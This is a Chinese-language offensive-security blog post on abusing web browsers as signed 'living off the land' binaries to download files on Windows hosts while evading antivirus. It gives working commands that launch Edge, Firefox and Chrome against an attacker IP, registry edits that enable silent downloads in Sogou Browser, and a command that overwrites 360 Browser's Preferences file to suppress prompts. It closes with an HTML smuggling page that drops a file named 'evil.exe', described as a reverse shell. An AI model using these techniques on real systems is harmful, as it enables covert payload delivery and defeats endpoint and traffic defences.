在 Windows 主机中,有很多文件下载的方法,如 certutil、powershell、bitsadmin 等等,但是这些方法因为滥用大多已经被杀软标记,需要使用各种方式进行绕过。这篇文章主要是探索一些利用浏览器进行文件下载的方式,浏览器程序拥有签名,且下载是浏览器的正常功能,杀软拦截不强,很适合作为LOLBins。
一些常见的浏览器的利用方法,大家可以参考 https://mp.weixin.qq.com/s/b3NNiXk7tFJPtq3yuWc7pQ 这篇文章,文章中已经介绍了 msedge、firefox、chrome 三种常见浏览器的利用方式,其实本质上就是用浏览器访问对应的文件地址,默认情况下,这三种浏览器会直接下载该文件(取决于文件的类型)。
msedge
start msedge http://192.168.1.1:19900/demo.rar
firefox
start firefox http://192.168.1.1:19900/demo.rar
chrome
start chrome http://192.168.1.1:19900/demo.rar
以上三种浏览器算是比较常见的了,但是浏览器毕竟不是默认安装的,机器上并不一定会有这三种浏览器,使用这种文件下载方式的前提就是需要安装有相应的浏览器,那么其它浏览器是不是也可以用同样的方式进行文件下载呢,我这里以国内常见的两款浏览器为例,对这种文件下载方式做进一步的探索。
我们按照默认流程安装好一个搜狗浏览器,查看快捷方式发现它的主程序是 SogouExplorer.exe:
我们直接和前面三种浏览器一样使用 start 启动,发现提示找不到文件 SogouExplorer.exe:
这是因为前面三种浏览器安装时会自动添加到环境变量中,所以我们这里需要使用绝对路径,我们开启一个 http 服务,尝试用命令行下载,发现浏览器成功打开并尝试下载,但是弹框需要手动确认:
其实,前面三种浏览器也可以设置弹框,但是默认情况下是直接进行下载的,那么对于搜狗浏览器我们是否可以通过一些方式让它直接下载不需要手动确认呢?我们先看一下搜狗浏览器的设置页面,可以看到搜狗浏览器的下载选项中是可以配置静默下载的:
我们这里可以简单做个假设,既然浏览器中可以设置,那么它一定会在某个地方提取相应的配置,而这个地方通常是在注册表或者配置文件中,有了这个假设,我们使用 Process Monitor 对注册表和文件进行监控:
配置好 Process Monitor 后,我们启用搜狗浏览器的静默下载选项,发现有两个注册表的变化值得注意:
我们打开注册表查看,发现当静默下载选项被启用时,注册表键 HKCU\Software\Sogou\SogouExplorer\Common 中的 SlienceDownloadEnabled 和 HKCU\Software\Sogou\SogouExplorer\Downloader\Download 中的 DirectDownload 的值为1,而静默下载选项未被启用时则为0:
到这里我们基本可以确定,搜狗浏览器就是通过注册表获取的配置信息,那么我们只要先修改注册表,就可以使用搜狗浏览器进行静默下载了。
可以看到修改注册表后,搜狗浏览器没有弹出手动确认的窗口,直接进行了下载:
最终的命令如下:
reg add "HKCU\Software\Sogou\SogouExplorer\Downloader\Download" /v DirectDownload /t REG_DWORD /d 0x1 /f reg add "HKCU\Software\Sogou\SogouExplorer\Common" /v SlienceDownloadEnabled /t REG_DWORD /d 0x1 /f start "C:\Program Files (x86)\Sogou\SogouExplorer\SogouExplorer.exe" http://192.168.1.1:19900/demo.rar
360安全浏览器和搜狗浏览器一样,默认情况下都会弹框提示手动确认下载:
我们还是使用 Process Monitor 对360安全浏览器进行监控,360安全浏览器是在取消“下载前询问每个文件的保存位置”勾选后不会再弹框,我们观察它的注册表和文件操作,发现它对文件 C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences 进行了操作:
我们对比勾选前后的该文件,发现参数 prompt_for_download 发生了变化:
由此,我们知道 C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences 是360安全浏览器的配置文件,其中的 prompt_for_download 参数决定是否会弹框。
我们使用 echo 命令直接覆写该配置文件,下载未弹框:
完整命令如下:
# 查看当前 prompt_for_download 配置: type "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences " | findstr prompt_for_download # 覆写配置文件: echo {"download":{"intro_suda_show":true,"prompt_for_download":false}} > "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences" # 使用360安全浏览器下载文件: start C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe http://192.168.111.1/123.rar
我们之前的实验都是使用的压缩文件,因为默认情况下,浏览器只会下载一些特定后缀的文件,使用 exe 又太明显,很容易被一些流量设备检测到,这时可以使用 HTML Smuggling 的方式,这样在一些流量设备看来就只是访问了一些 html 页面,关于该技巧的详细说明大家可以看我后面的参考文章,这里给一个简单的例子:
<!-- code from https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ --> <html> <body> <script> function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array( len ); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } // 32bit simple reverse shell var file = ''; var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'evil.exe'; if (window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob,fileName); } else { var a = document.createElement('a'); console.log(a); document.body.appendChild(a); a.style = 'display: none'; var url = window.URL.createObjectURL(blob); a.href = url; a.download = fileName; a.click(); window.URL.revokeObjectURL(url); } </script> </body> </html>
https://mp.weixin.qq.com/s/b3NNiXk7tFJPtq3yuWc7pQ
https://outflank.nl/blog/2018/08/14/html-smuggling-explained/